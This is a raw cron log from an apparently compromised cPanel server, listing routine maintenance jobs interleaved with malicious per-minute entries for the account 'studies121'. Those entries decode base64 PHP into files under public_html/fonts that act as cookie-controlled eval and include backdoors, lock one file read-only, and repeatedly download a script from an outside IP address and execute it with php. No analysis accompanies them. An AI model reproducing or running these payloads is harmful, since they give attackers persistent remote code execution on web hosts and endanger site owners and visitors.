Sep 12 20:02:01 ip-184-168-122-23 CROND[17426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:02:01 ip-184-168-122-23 CROND[17424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:02:01 ip-184-168-122-23 CROND[17425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:02:01 ip-184-168-122-23 CROND[17427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:03:01 ip-184-168-122-23 CROND[17509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:03:01 ip-184-168-122-23 CROND[17511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:03:01 ip-184-168-122-23 CROND[17510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:03:01 ip-184-168-122-23 CROND[17513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:04:01 ip-184-168-122-23 CROND[17702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:04:01 ip-184-168-122-23 CROND[17705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:04:01 ip-184-168-122-23 CROND[17707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:04:01 ip-184-168-122-23 CROND[17706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:04:01 ip-184-168-122-23 CROND[17704]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:05:01 ip-184-168-122-23 CROND[17799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:05:01 ip-184-168-122-23 CROND[17802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:05:01 ip-184-168-122-23 CROND[17804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:05:01 ip-184-168-122-23 CROND[17805]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 20:05:01 ip-184-168-122-23 CROND[17803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:05:01 ip-184-168-122-23 CROND[17806]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:05:01 ip-184-168-122-23 CROND[17801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:06:02 ip-184-168-122-23 CROND[17894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:06:02 ip-184-168-122-23 CROND[17896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:06:02 ip-184-168-122-23 CROND[17895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:06:02 ip-184-168-122-23 CROND[17899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:06:02 ip-184-168-122-23 CROND[17903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:07:01 ip-184-168-122-23 CROND[17992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:07:01 ip-184-168-122-23 CROND[17994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:07:01 ip-184-168-122-23 CROND[17996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:07:01 ip-184-168-122-23 CROND[17997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:08:01 ip-184-168-122-23 CROND[18087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:08:01 ip-184-168-122-23 CROND[18089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:08:01 ip-184-168-122-23 CROND[18090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:08:01 ip-184-168-122-23 CROND[18092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:08:01 ip-184-168-122-23 CROND[18091]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:09:01 ip-184-168-122-23 CROND[18268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:09:01 ip-184-168-122-23 CROND[18269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:09:01 ip-184-168-122-23 CROND[18276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:09:01 ip-184-168-122-23 CROND[18277]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 20:09:01 ip-184-168-122-23 CROND[18278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:10:02 ip-184-168-122-23 CROND[18406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:10:02 ip-184-168-122-23 CROND[18410]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:10:02 ip-184-168-122-23 CROND[18407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:10:02 ip-184-168-122-23 CROND[18411]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 20:10:02 ip-184-168-122-23 CROND[18409]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:10:02 ip-184-168-122-23 CROND[18408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:10:02 ip-184-168-122-23 CROND[18412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:10:02 ip-184-168-122-23 CROND[18405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:11:01 ip-184-168-122-23 CROND[18503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:11:01 ip-184-168-122-23 CROND[18505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:11:01 ip-184-168-122-23 CROND[18507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:11:01 ip-184-168-122-23 CROND[18506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:12:01 ip-184-168-122-23 CROND[18586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:12:01 ip-184-168-122-23 CROND[18588]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:12:01 ip-184-168-122-23 CROND[18590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:12:01 ip-184-168-122-23 CROND[18591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:12:01 ip-184-168-122-23 CROND[18589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:13:01 ip-184-168-122-23 CROND[18696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:13:01 ip-184-168-122-23 CROND[18698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:13:01 ip-184-168-122-23 CROND[18700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:13:01 ip-184-168-122-23 CROND[18699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:14:01 ip-184-168-122-23 CROND[18860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:14:01 ip-184-168-122-23 CROND[18862]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:14:01 ip-184-168-122-23 CROND[18863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
